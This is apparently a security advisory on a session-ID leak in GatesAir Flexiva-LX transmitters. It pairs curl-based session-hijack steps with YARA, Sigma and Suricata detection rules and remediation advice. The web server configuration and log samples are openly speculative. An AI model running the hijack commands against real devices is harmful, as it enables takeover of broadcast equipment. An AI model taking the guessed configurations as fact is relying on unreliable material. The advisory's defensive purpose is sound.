CVE-2025-63212

Executive Summary

CVE-2025-63212 exposes a critical information disclosure vulnerability in GatesAir Flexiva-LX broadcast transmitters (models LX100, LX300, LX600, LX1000) running firmware versions 1.0.13 and 2.0. The device logs sensitive session identifiers (sid) in a publicly accessible log file located at /log/Flexiva%20LX.log. An unauthenticated attacker can retrieve valid session IDs from this log and hijack active administrative sessions without providing any credentials. The attack requires that a legitimate admin previously closed the browser window without logging out, leaving the session active. This vulnerability has a CVSS score of 0.0 in the NVD but is assessed as critical due to the ease of exploitation and potential for full device compromise.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in embedded broadcast equipment.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to gain full administrative access to broadcast transmitters, enabling them to modify broadcast parameters, disrupt transmissions, or exfiltrate sensitive configuration data.

Deep Dive & Mechanics

The GatesAir Flexiva-LX web interface logs all session identifiers (sid) to a file at /log/Flexiva%20LX.log. This file is served by the embedded web server without authentication. The log file contains entries like:

[2025-01-15 14:23:45] Session created: sid=abc123def456
[2025-01-15 14:25:10] User admin logged in via session abc123def456

An attacker can simply request http://<target>/log/Flexiva%20LX.log to retrieve the log. If a valid session ID is present (from an admin who closed the browser without logging out), the attacker can use that session ID to make authenticated API calls, effectively hijacking the admin session.

The vulnerability stems from two design flaws:

1. Information Disclosure: The log file is world-readable via the web server.
2. Session Persistence: Sessions are not invalidated when the browser window is closed (no proper logout mechanism or session timeout enforcement).

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.0.13 / 2.0): The web server configuration likely includes a static route for the /log/ directory without authentication checks. Example pseudo-configuration:

location /log/ {
    alias /var/log/;
    autoindex on;
}

Patched Code (Hypothetical): A patch would:

1. Remove the /log/ route or add authentication.
2. Implement session timeout and force logout on browser close.
3. Sanitize logs to not include session IDs.

Example patched configuration:

location /log/ {
    deny all;
    return 403;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running GatesAir Flexiva-LX with firmware 1.0.13 or 2.0.
• Admin must have previously logged in and closed the browser without logging out.

Exploitation Steps:

1. Retrieve the log file:

   curl http://<target_ip>/log/Flexiva%20LX.log
   

2. Extract a valid session ID:

   curl -s http://<target_ip>/log/Flexiva%20LX.log | grep -oP 'sid=[a-f0-9]+' | tail -1 | cut -d= -f2
   

3. Use the session ID to access authenticated endpoints:

   curl -b "sid=EXTRACTED_SID" http://<target_ip>/admin/status
   

4. Full session hijack example:

   SID=$(curl -s http://<target_ip>/log/Flexiva%20LX.log | grep -oP 'sid=[a-f0-9]+' | tail -1 | cut -d= -f2)
   curl -b "sid=$SID" http://<target_ip>/admin/config
   

Expected Outcome: Full administrative access to the transmitter, ability to modify broadcast parameters, firmware, or exfiltrate data.

Blue Team

Detection Steps:

1. Monitor for requests to /log/Flexiva%20LX.log from external IPs.
2. Alert on multiple failed login attempts followed by successful session usage.
3. Check for anomalous session IDs being used from different IPs.

Hunting Query:

SELECT src_ip, COUNT(*) as requests
FROM web_logs
WHERE uri = '/log/Flexiva%20LX.log'
GROUP BY src_ip
HAVING requests > 1;

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /log/Flexiva%20LX.log
• Session IDs (e.g., sid=abc123def456) in HTTP cookies from unexpected IPs
• Unusual API calls to /admin/* endpoints from non-admin IPs

File IOCs:

• Log file at /log/Flexiva%20LX.log containing session IDs
• Presence of sid= strings in web server logs

Behavioral IOCs:

• Multiple session IDs used from the same IP in a short time
• Admin actions performed without prior login

Detection Engineering

YARA Rule

rule CVE_2025_63212_Flexiva_LX_Session_Leak {
    meta:
        description = "Detects session ID leakage in GatesAir Flexiva-LX log files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63212"
    strings:
        $sid_pattern = /sid=[a-f0-9]{12,}/
        $log_header = "Flexiva LX.log"
    condition:
        $log_header and #sid_pattern > 0
}

Sigma Rule

title: GatesAir Flexiva-LX Session ID Leak Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to access the session log file on GatesAir Flexiva-LX devices
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: '/log/Flexiva%20LX.log'
    condition: selection
falsepositives:
    - Legitimate admin troubleshooting
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63212 GatesAir Flexiva-LX Session Log Access"; flow:to_server; content:"GET"; http_method; content:"/log/Flexiva%20LX.log"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict access to the log file: Block external access to /log/ path via firewall or web server configuration.
2. Force session logout: Implement a session timeout (e.g., 15 minutes) and invalidate sessions on browser close.
3. Remove session IDs from logs: Modify logging to exclude sensitive data like session IDs.

Long-term Fix:

• Apply firmware patch from GatesAir when available.
• Implement proper authentication for all web resources.
• Use secure session management with HTTP-only and Secure flags.

Workaround:

• Place the device behind a VPN or restrict management interface to trusted IPs only.
• Monitor logs for unauthorized access attempts.

Valters IT